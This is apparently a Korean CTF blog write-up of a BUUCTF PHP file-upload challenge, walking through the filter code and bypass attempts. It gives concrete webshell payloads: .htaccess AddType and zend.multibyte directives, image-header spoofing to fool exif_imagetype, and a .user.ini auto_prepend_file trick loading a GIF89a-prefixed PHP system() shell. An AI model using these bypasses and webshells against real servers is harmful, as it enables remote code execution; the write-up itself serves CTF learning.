첨부터 깃헙링크를 준다.
코드 오디팅을 해보자.
대충 코드해석 해보면
1. 내 공인ip md5해서 내 고유 디렉터리 생성
2. 거기에 빈 파일인 index.php 생성 ( /upoad/{md5(myip)}/index.php )
3. 확장자에 ph 나 htacess 가 들어가면 ban
4. 파일 내용에 <? 가 들어가면 ban
5. exif_imagetype이 false이면 ban
6. 유효성 검증이 끝나면 내가 올린 파일명으로 파일 생성
굳이 index.php를 만드는게 힌트라면 힌트인것 같다.
어떻게 업로드하지 고민고민하던중 preg_match에 'htacess'가 들어가면 ban이라는걸 보았다.
어라.. .htaccess 인데 htacess... c가 하나 빠졌다
아! 필터링 실수를 의도하고 낸 문제구나 하고 .htaccess로 익스하기위해 열과 성을 쏟아부었지만.. 왜인지 안되었다.
내 서버에도 똑같이 세팅하고 올려봤는데 내서버에선 웹쉘이 잘 동작하는데 문제서버에선 안되었다,,,
일단 다른 문제에서도 .htaccess를 업로드하여 문제를 풀어야 할 경우를 대비해 팁을 적어보자면
위 상황에서 필터링을 우회하기 위해선
3. 확장자에 ph 나 htacess 가 들어가면 ban
- .php가 아닌 다른 확장자의 파일을 실행파일로 인식하도록 함
-> AddType application/x-httpd-php .png
- htacess라고 잘못 필터링 되어있으므로 .htaccess를 업로드하는데에 아무 문제가 되지 않음
4. 파일 내용에 <? 가 들어가면 ban
- .htaccess 설정을 제어하여 멀티바이트 캐릭터로 인식하도록 할 수 있다.
-> php_value zend.multibyte 1
-> php_value zend.detect_unicode 1
-> 실제 업로드 파일을 <\x00?\x00p\x00h\x00p\x00 ... 중략 ... 이런식으로 멀티바이트 캐릭터로 구성
5. exif_imagetype이 false이면 ban
- exif_imagetype에서 바라보는 image extension들이다.
https://www.php.net/manual/en/function.exif-imagetype.php
- 해당 이미지 타입에 대하여 헤더를 검사하는 방식으로 이미지인지 아닌지를 판단한다.
- 각 이미지 타입별로 어디까지 이미지 헤더를 검사하는지 (몇 바이트를 검사하는지)는 이미지 타입마다 다르다. 관심있는 분은 직접 해당 소스코드를 찾아봐도 괜찮을 것이다.
- 찾아보니 쓸만한 이미지헤더론 'GIF89a'와 '\x00\x00\x89'가 있었다
- 나는 후자인 '\x00\x00\x89' 를 이용하여
\x00\x00\x89\x0d\x0a<\x00?\x00p\x00h\x00p\x00 ... 중략 ... |
이와같은 식으로 멀티바이트 웹쉘을 만들 수 있었다.
이를 실제로 내 서버에 htaccess를 적용하였을 때 위와같은 웹쉘 파일을 .png로 실행시키는것이 가능하였다.
그래서 다 풀었다고 생각하고 문제서버에 적용했는데 왠걸? 안되는것이다.
내가 놓친것이 있을까 하였는데 모르겠어서 라업을 찾아봤따.
아.. 문제 서버가 nginx로 운영중인것이 힌트였던 것 같다.
nginx 서버가 fastcgi 설정이 켜져있을 경우 .htaccess를 통해 서버 설정을 바꾸어 웹쉘을 업로드하는것과 비슷하게 .user.ini 파일을 업로드하여 내 마음대로 동작하게 할 수 있다고 한다.
이때 이용하는 설정으론 auto_prepend_file={file} 으로, 해당 옵션이 있으면 include('./header.php')와 비슷한 효과를 낸다.
모든 페이지에서 auto_prepend_file로 설정된 파일을 include 하게 되는데, 여기에 웹쉘을 작성하면 되고, 웹쉘은 <script language='php'>system('ls -al /;');</script> 와 같이 실행시킬 수 있다고 한다(신기..)
.user.ini
GIF89a=1 auto_prepend_file=a.png |
a.png
GIF89a=1 <script language="php">system('ls -al');</script> |
'Web > BUUCTF' 카테고리의 다른 글
[BUUCTF] - [极客大挑战 2019]Havefun1 (0) | 2020.02.17 |
---|---|
[BUUCTF] - [CISCN2019 华北赛区 Day2 Web1]Hack World1 (0) | 2020.02.17 |
[BUUCTF] - [RoarCTF 2019]Easy Calc1 (0) | 2020.02.14 |
[BUUCTF] - [强网杯 2019]高明的黑客1 (0) | 2020.02.14 |
[BUUCTF] - [HCTF 2018]admin1 (0) | 2020.02.13 |